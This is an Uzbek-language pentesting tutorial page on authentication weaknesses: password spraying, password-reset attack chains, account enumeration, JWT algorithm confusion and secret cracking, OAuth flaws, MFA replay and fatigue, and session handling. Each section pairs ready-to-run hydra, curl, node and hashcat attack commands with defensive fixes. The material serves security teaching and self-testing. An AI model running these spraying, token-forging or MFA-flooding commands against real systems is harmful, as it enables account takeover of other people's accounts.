Autentifikatsiya chuqurligi

01 · Password spraying ← Kod bajarish Asosiy
⚠️ Ogohlantirish

Bu bo'limdagi hujumlar kirish tizimiga ta'sir qiladi. O'z saytingizda sinang — lekin o'z hisobingizni sinov qilib ishlatmang (bloklanib qolishingiz mumkin). Avval zaxira hisob yarating.

01Password spraying

Bitta parolni ko'plab hisoblarga urish. Brute force'dan sekin, lekin ko'proq joyga yetadi va bloklashni kamaytiradi.

Nima uchun ishlaydi

Ko'p saytlar bir IP dan 10 urinishdan keyin bloklaydi. Spraying'da esa har bir hisobga faqat 1 ta urinish — blok chegarasiga tegilmaydi.

Differensiatsiyalangan parollar ro'yxati

# eng ko'p ishlatiladigan parollar (ma'lumotlar bazalaridan)
123456        password     12345678     qwerty       123456789
password1     iloveyou     111111       admin        letmein
welcome       monkey       dragon       123123       football
sunshine      princess     1234567      1234         baseball

Barcha platformada

$ # hydra — eng tez
sudo apt install -y hydra

hydra -L users.txt -p '123456' -t 4 -W 3 \
      site.uz https-post-form "/login:username=^USER^&password=^PASS^:Login incorrect"
      # 4 thread, 3 sekund kutish
# CMD da oddiy loop
for %%U in (ali@x.uz vali@x.uz olim@x.uz) do (
  for %%P in (123456 password Password1 admin) do (
    curl -s -X POST -H 'Content-Type: application/json' \
      -d "{\"email\":\"%%U\",\"password\":\"%%P\"}" \
      https://site.uz/api/auth/login | findstr "token" && echo "  TOPILDI: %%U / %%P"
  )
  REM har bir urinishdan keyin kutish
  ping -n 4 127.0.0.1 > nul
)
# eng sodda — hech narsa o'rnatmasdan
for U in ali@x.uz vali@x.uz olim@x.uz; do
  for P in 123456 password Password1 admin; do
    R=$(curl -s -X POST -H 'Content-Type: application/json' \
      -d "{\"email\":\"$U\",\"password\":\"$P\"}" https://site.uz/api/auth/login)
    echo "$R" | grep -q token && echo "  TOPILDI: $U / $P"
    sleep 2
  done
done
🔴 Sizning saytda topilgan qoidaga qarshi holat

Admin login 10 urinish / 15 daqiqa cheklangan, lekin bu chekrov ip|email bo'yicha edi — yani har bir email uchun alohida. Bu spray uchun yaxshi, lekin tiklash kaliti uchun yomon edi (u tuzatildi).


02Parol tiklash — to'liq hujum zanjiri

Bu — eng ko'p uchraydigan va eng xavfli hujum. Maqsad: parolsiz begona hisobga kirish.

Zanjir qadamlari

Hisob mavjudligini aniqlash

curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"admin@site.uz"}' https://site.uz/api/auth/forgot-password

Javoblar farq qiladimi? 200 vs 404 = hisob mavjudligini ochib beradi.

Token qanchalik kuchli?

# javobdan token uzunligini ko'ring
{"message":"Token yuborildi"}        # token ID chiqadimi?
{"reset_token":"abc123..."}          ← token ochiq = XAVFLI

Token muddati

curl -s https://site.uz/api/auth/verify-reset-token/expired-token-123
{"valid":false,"message":"Vaqti o'tgan"}
# 1 soat/1 kun/1 yil? 1 yil = zaif

Token brute force

# token 6 raqamli bo'lsa — real xavf
for T in 000000 111111 123456; do
  curl -s https://site.uz/api/auth/verify-reset-token/$T
done

2FA bilan bog'liqlik

Parol tiklash 2FAni chetlab o'tadimi? Bu — sizning saytda topilgan zaiflik aynan shu edi.

Qo'shimcha hujum usullari

# mass assignment: reset paytida rol o'zgartirish
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"token":"...","new_password":"New123!","role":"admin"}' \
  https://site.uz/api/auth/reset-password
# rol "admin" bo'lib qolsa — escalation

# eski token bilan qayta ishlatish (replay)
curl -s -X POST -d "token=$T&new_password=Aaa123!" https://site.uz/api/auth/reset-password
curl -s -X POST -d "token=$T&new_password=Bbb123!" https://site.uz/api/auth/reset-password
# ikkinchisi ishlasa — token single-use emas

# boshqa foydalanuvchining tokeni bilan
curl -s -X POST -d "token=$OTHER_USER_TOKEN&new_password=Hacked1!" \
  https://site.uz/api/auth/reset-password
🛡 To'g'ri parol tiklash tizimi
  1. Token crypto.randomBytes(32) bilan (kamida 128 bit)
  2. Muddati 15-60 daqiqa (1 yil emas)
  3. Single-use — ishlatilgach darhol o'chiriladi
  4. Rate limit: 5 urinish / 15 daqiqa, faqat IP bo'yicha
  5. Telegram/kiritilgan barcha sessiyalar bekor qilinsin
  6. Maxfiy hisoblar (admin) uchun — faqat email tasdiqlash
  7. Javob har doim bir xil ("agar mavjud bo'lsa yuborildi")
  8. 2FA talab qilinsin (agar yoqilgan bo'lsa)
  9. Token hech qachon javobda qaytarilmasin

03Account enumeration

Foydalanuvchi ro'yxatda bormi aniqlash — bruteforce uchun tayyorgarlik.

5 ta usul

UsulSinashBashorat
Javob xabariforgot-password ga turli email"Email yo'q" vs "yuborildi"
HTTP kodifor i in $(seq 1 50); do curl -o /dev/null -w '%{http_code}\n' -d "email=u$i@x.com" /api/auth/forgot-password; done200 vs 404
Vaqt (timing)8 marta o'lchash, o'rtacha2ms farq ham yetarli
Ro'yxatdan o'chirishTurli email bilan /register"band" xabari
LoginMavjud/yo'q email + noto'g'ri parolXabar farqi

Timing hujumi

# mavjud email — bcrypt sekin (haqiqiy parol tekshiriladi)
for i in 1 2 3 4 5 6; do
  curl -s -o /dev/null -w "%{time_total}\n" -X POST \
    -H 'Content-Type: application/json' \
    -d '{"email":"mavjud@site.uz","password":"wrong"}' \
    https://site.uz/api/auth/login
done | awk '{t+=$1} END {printf "  o\u0020rtacha %.4f s\n", t/NR}'

# yo'q email — sun'iy bcrypt (barchasi bir xil vaqt)
for i in 1 2 3 4 5 6; do
  curl -s -o /dev/null -w "%{time_total}\n" -X POST \
    -H 'Content-Type: application/json' \
    -d '{"email":"yoq@site.uz","password":"wrong"}' \
    https://site.uz/api/auth/login
done | awk '{t+=$1} END {printf "  o\u0020rtacha %.4f s\n", t/NR}'

# farq 0.01 s dan katta bo'lsa — zaif
🛡 Himoya

Har doim faqat noma'lum email uchun ham sun'iy bcrypt hisoblang. Natija: vaqt bir xil, javob bir xil, kod bir xil.


04JWT chuqurligi

4.1 Algoritm chalkashligi (RS256 → HS256)

🔴 Juda kuchli hujum

Asymmetric (RS256) kalit ishlatilayotgan tizimda hujumchi ochiq public key ni HMAC sir sifatida ishlatib, o'zi token imzolaydi — sirni umuman bilmasdan.

# 1) header da "kid" ni topish
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null
{"alg":"RS256","kid":"key-2024-01","typ":"JWT"}
   ↑ kid — kalit identifikatori
# 2) jwks.json dan ochiq kalitni olish
curl -s https://site.uz/.well-known/jwks.json | python3 -m json.tool

# 3) HMAC sir sifatida ishlatib token yasash
node -e "
const jwt=require('jsonwebtoken'), crypto=require('crypto'), fs=require('fs');
const jwks=JSON.parse(fs.readFileSync('jwks.json'));
const key=jwks.keys[0];
const pub=crypto.createPublicKey({key:jwkToPem(key),format:'pem'}).export({type:'spki',format:'pem'});
const token=jwt.sign({id:'1',role:'admin'}, pub, {algorithm:'HS256'});
console.log(token);"
🛡 Himoya
jwt.verify(token, key, { algorithms: ['RS256'] });
// ↑ FAQAT RS256. HS256 qabul qilinmaydi.
// va `kid` ni ishonchli manbadan oling (foydalanuvchidan emas)

4.2 Zaif sir

# sirni sinab ko'rish — mashhur parollar ro'yxati
for S in secret password admin key jwt lingofy 12345; do
  node -e "
    const jwt=require('jsonwebtoken');
    try { jwt.verify('$TOKEN','$S'); console.log('  BUZILDI: sir = $S'); }
    catch(e) {}"
done

# hashcat/hashcat - dictionary bilan (sekin lekin to'liq)
hashcat -m 16500 hash.txt rockyou.txt   # JWT HS256

4.3 Boshqa zaifliklar

MuammoSinashTuzatish
kid SQL inj.kid: "1 UNION SELECT ..."kid ni validatsiya qiling
Jwk to'ldirish{"alg":"HS256","jwk":{"kty":"oct","k":"..."}}Header jwk si rad etilsin
Kid fayl yo'likid: "../../dev/null"Yo'lni validatsiya qiling
jku/x5uHujumchi serveriga kalit manzilini ko'rsatishFaqat ishonchli URL
Token muddati 7 kunexp ni tekshirish15 daqiqa + refresh
Secret kodlashdasubtle orqali o'qishFaqat backend'da, HMAC tekshiruvi

05OAuth / OIDC zaifliklari

Asosiy oqim

# 1. Ilova foydalanuvchini login sahifasiga yuboradi
https://site.uz/login?

# 2. Foydalanuvchi login qiladi va "Rozilik berish" bosing

# 3. GitHub/Google foydalanuvchini qaytaradi
https://site.uz/callback?code=AUTH_CODE&state=RANDOM

# 4. Backend code ni almashtiradi (token)
POST https://github.com/login/oauth/access_token

Zaifliklar

ZaiflikSinashXavf
state yo'q/ko'rinmasO'z callback URL'ni o'zgartirib qo'yishCSRF
Redirect URI tekshirilmaydiredirect_uri=https://evil.comToken o'g'irlash
Token kodlashdaaccess_token ni URL'da kuzatishLogda saqlanadi
Scope o'zgartiriladiscope=admin read write deleteKengaytirilgan huquq
Email tasdiqlanmaganGmail alias: a@gmail.com, a+test@gmail.comHisob egallash
JWT noneid_token ni o'zgartirishToken soxtalash
PKCE yo'qMobile/desktop ilovalardaKod o'g'irlash

state boshqaruvi

// ❌ XAVFLI — state yo'q
const url = '/callback?code=' + req.query.code;

// ✅ TO'G'RI — tasodifiy state, serverda saqlanadi
const state = crypto.randomBytes(16).toString('hex');
session.oauth_state = state;
// qaytishda tekshirish:
if (req.query.state !== session.oauth_state) return fail();
🛡 To'g'ri OAuth sozlamalari
  • state — tasodifiy 16+ bayt, serverda saqlansin
  • redirect_uri — aniq ro'yxatdan (substring emas!)
  • Faqat code (implicit emas) — yoki PKCE
  • Token POST body da, URL'da emas
  • Scope minimal: faqat kerakli
  • Email verified ekanini tekshirish
  • Ochiq redirect uchun: redirect_uri da domenni tekshirish

06MFA chuqurligi

6.1 TOTP kodini qayta ishlatish (replay)

# 1-kod
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true}

# 2-marta XUDDI shu kodni
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true}     ← ZAIF: replay mumkin
// to'g'ri javob: {"expired":true} yoki {"used":true}

6.2 TOTP oynasi juda katta

# nechta kod bir vaqtda qabul qilinadi?
window=1  → 3 ta kod (oldingi, joriy, keyingi)  = 1/333333
window=5  → 11 ta kod                          = 1/90000   zaif
window=10 → 21 ta kod                          = 1/47619   juda zaif

// TO'G'RI: window=1 (yoki 0 = faqat joriy kod)

6.3 MFA charchashi (MFA fatigue)

🔴 Real hujum usuli

Hujumchi foydalanuvchini ko'plab bildirishnoma yuboradi:

# 50 marta "kirishga urinish" SMS yuborish
for i in $(seq 1 50); do
  curl -s -X POST -d "user_id=1" https://site.uz/api/auth/request-2fa
done
# foydalanuvchi charchab, keyinchalik tasdiqlaydi
# → keyingi "kirish" so'rovi hujumchining bo'ladi

6.4 Zaxira kodlar

# zaxira kod bitta ishlatiladimi?
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true}
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true}    ← bir necha marta ishlatilsa — zaif

# 2FA o'chiriladimi?
curl -s -X POST -H "Authorization: Bearer $T" -d "action=disable" https://site.uz/2fa
{"success":true}    ← parol talab qilinmasa — xavfli
🛡 MFA qoidalari
  • TOTP window=1, muddati 30 soniya
  • Kod single-use (ishlatilgach serverda belgilansin)
  • Zaxira kodlar single-use + jadval bo'yicha saqlansin
  • 2FA o'chirish uchun parol + joriy kod talab qilinsin
  • Bildirishnoma chastotasiga limit (soatiga 3-5)
  • Foydalanuvchi xaqiqiy ekanini tasdiqlash uchun bo'sh kod rad etilmasin

07Sessiya boshqaruvi

MasalaSinashYechim
Idle timeout yo'q2 soat kutib, so'rov yuboring15-30 min idle
Ko'p sessiyaKirish → chiqish, eski cookieBarchasini ko'rsatish + bekor
Parol o'zgarganda bekor bo'lmaydiEski cookie bilan so'rovParol o'zgarganda hammasi o'chirilsin
Rotatsiya yo'qLogin → ID kuzatishLogin paytida ID yangilansin
Absolute timeout yo'qKun bo'yi saqlanadi7 kun, keyin qayta login

Idle timeout

# sayt qancha vaqt "yoniq" turadi?
curl -s -D- -o /dev/null https://site.uz/ | grep -i "set-cookie" | tr ';' '\n' | grep -i max-age
# Max-Age=3600 → 1 soat (absolute)
# idle timeout alohida bo'lishi kerak:
# har so'rovda last_activity yangilanadi,
# 15 daqiqa hech so'rov bo'lmasa → sessiya o'ladi

Sessiya aylanishi (rotation)

// ❌ login da ID o'zgarmaydi — fixation mumkin
app.post('/login', (req,res) => { session.regenerate(); ... });

// ✅ login da YANGI ID beriladi
app.post('/login', (req,res) => {
  const oldId = req.session.id;
  req.session.regenerate(() => {   // yangi ID
    req.session.oldIdForAudit = oldId;
    ...
  });
});

08Parol siyosati tahlili

TalabYaxshiYomon
Uzunlik12+ belgi6-8 belgi
MurakkablikUzunlik + zarurat bo'lmasaMajburiy !@#$
Ko'p ishlatilganRo'yxatga tekshirishFaqat qisqa belgi
Wording (jargon)"Parol123" ni rad etishIshonchli bo'lishiga ishonish
MuddatiFaqat zaiflik aniqlangandaHar 90 kunda majburlash
# majmuaviy ro'yxat bilan tekshirish
for P in 123456 password qwerty letmein admin welcome iloveyou monkey dragon; do
  curl -s -X POST -H 'Content-Type: application/json' \
    -d "{\"email\":\"test@x.uz\",\"password\":\"$P\"}" \
    https://site.uz/api/auth/register | head -c 60
  echo
done

# parol siyosati qanchalik kuchli?
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"email":"a@b.com","password":"abc"}' https://site.uz/api/auth/register
{"message":"Parol kamida 8 belgi..."}         ← zaif
{"message":"Parol kamida 12 belgi, katta/kichik harf va raqam..."}  ← yaxshi
🛡 Zamonaviy tavsiya (NIST)

Parolni tez-tez o'zgartirishni talab qilmang — bu odamlar Yil2024! kabi yomon parollar yaratishga undaydi. O'rniga: uzunlik ≥ 12, majmuaviy ro'yxat tekshiruvi, va zaiflik topilganda almashtirish.


★Qaysi OS da ishlaydi

HujumLinuxCMDPowerShellAsbob
Password sprayinghydracmd.exePScurl / hydra
Parol tiklash zanjiricurlcurliwrcurl
Account enumerationcurlcurliwrcurl
JWT advancedIkkalasiIkkalasiIkkalasinode + jsonwebtoken
Hashcat (JWT sir)GPUhashcat.exehashcat.exehashcat -m 16500
OAuthcurlcurliwrcurl + brauzer
MFAIkkalasiIkkalasiIkkalasicurl + oathtool
Sessiya tahlilicurlcurliwrcurl

oathtool — 2FA ni terminaldan sinash

$ pip3 install oathtool
$ oathtool --totp -b JBSWY3DPEHPK3PXP -i 1 | xargs -I{} \
    curl -s -X POST -d "code={}" https://site.uz/2fa
# pip orqali (Python o'rnatilgan bo'lishi kerak)
pip install oathtool
oathtool --totp -b JBSWY3DPEHPK3PXP -i 1

# yoki Node.js bilan (Node o'rnatilgan bo'lsa)
npm install -g otplib
node -e "const o=require('otplib');console.log(o.totp.create({secret:'JBSWY3DPEHPK3PXP'}).generate())"

Autentifikatsiya chuqurligi · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
O'z saytingizda sinang. O'z hisobingizni sinov qilib ishlatmang.